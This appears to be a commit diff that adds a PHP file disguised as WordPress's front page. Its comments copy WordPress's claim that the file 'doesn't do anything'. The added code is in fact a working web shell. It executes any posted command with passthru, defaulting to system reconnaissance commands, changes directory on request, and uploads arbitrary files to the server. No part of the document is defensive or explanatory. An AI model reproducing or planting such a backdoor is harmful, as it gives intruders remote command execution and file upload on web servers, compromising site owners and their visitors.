|
| 1 | +<!-- Front to the WordPress application. This file doesn't do anything, but loads --> |
| 2 | +<!-- wp-blog-header.php which does and tells WordPress to load the theme. --> |
| 3 | +<html> |
| 4 | +<head> |
| 5 | +<title>WordPress</title> |
| 6 | +</head> |
| 7 | +<BODY bgcolor="#000000"> |
| 8 | +<!-- ngatur direktori --> |
| 9 | +<? if (($_POST['dir']!=="") AND ($_POST['dir'])) { chdir($_POST['dir']); } ?> |
| 10 | +<table> |
| 11 | +<tr><td bgcolor=#cccccc> |
| 12 | + |
| 13 | +<!-- eksekusi command dengan passthru --> |
| 14 | + |
| 15 | +<? |
| 16 | +if ((!$_POST['cmd']) || ($_POST['cmd']=="")) { $_POST['cmd']="uname -ar ; pwd ; id ; ls -la ;"; } |
| 17 | +echo "<b>"; |
| 18 | +echo "<div align=left><textarea name=report cols=70 rows=15>"; |
| 19 | +echo "".passthru($_POST['cmd']).""; |
| 20 | +echo "</textarea></div>"; |
| 21 | +echo "</b>"; |
| 22 | +?> |
| 23 | +</td></tr></table> |
| 24 | +<!-- upload file --> |
| 25 | +<? |
| 26 | +if (($HTTP_POST_FILES["filenyo"]!=="") AND ($HTTP_POST_FILES["filenyo"])) |
| 27 | +{ |
| 28 | +copy($HTTP_POST_FILES["filenyo"][tmp_name], |
| 29 | +$_POST['dir']."/".$HTTP_POST_FILES["filenyo"][name]) |
| 30 | +or print("<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><td><tr><font color=red face=arial> |
| 31 | +<div>file gak isa di uplod ".$HTTP_POST_FILES["filenyo"][name]."</div></font></td></tr></table>"); |
| 32 | +} |
| 33 | +?> |
| 34 | +<table width=100% cellpadding=0 cellspacing=0 > |
| 35 | +<tr><td> |
| 36 | + |
| 37 | +<!-- form eksekusi command --> |
| 38 | + |
| 39 | +<? |
| 40 | +echo "<form name=command method=post>"; |
| 41 | +echo "<font face=Verdana size=1 color=red>"; |
| 42 | +echo "<b>[CmD ]</b><input type=text name=cmd size=33> "; |
| 43 | +if ((!$_POST['dir']) OR ($_POST['dir']=="")) |
| 44 | +{ echo " <b>[Dir]</b><input type=text name=dir size=40 value=".exec("pwd").">"; } |
| 45 | +else { echo "<input type=text name=dir size=40 value=".$_POST['dir'].">"; } |
| 46 | +echo " <input type=submit name=submit value=\"0k\">"; |
| 47 | +echo "</font>"; |
| 48 | +echo "</form>"; |
| 49 | +?> |
| 50 | +</td></tr></table> |
| 51 | +<table width=100% cellpadding=0 cellspacing=0 > |
| 52 | + |
| 53 | +<!-- form upload --> |
| 54 | + |
| 55 | +<? |
| 56 | +echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; |
| 57 | +echo "<font face=Verdana size=1 color=red>"; |
| 58 | +echo "<b> [EcHo]</b>"; |
| 59 | +echo "<input type=file name=filenyo size=70> "; |
| 60 | +if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=hidden name=dir size=70 value=".exec("pwd").">"; } |
| 61 | +else { echo "<input type=hidden name=dir size=70 value=".$_POST['dir'].">"; } |
| 62 | +echo "<input type=submit name=submit value=\"0k\">"; |
| 63 | +echo "</font>"; |
| 64 | +echo "</form>"; |
| 65 | +?> |
| 66 | +</td></tr></table> |
| 67 | +</html> |
0 commit comments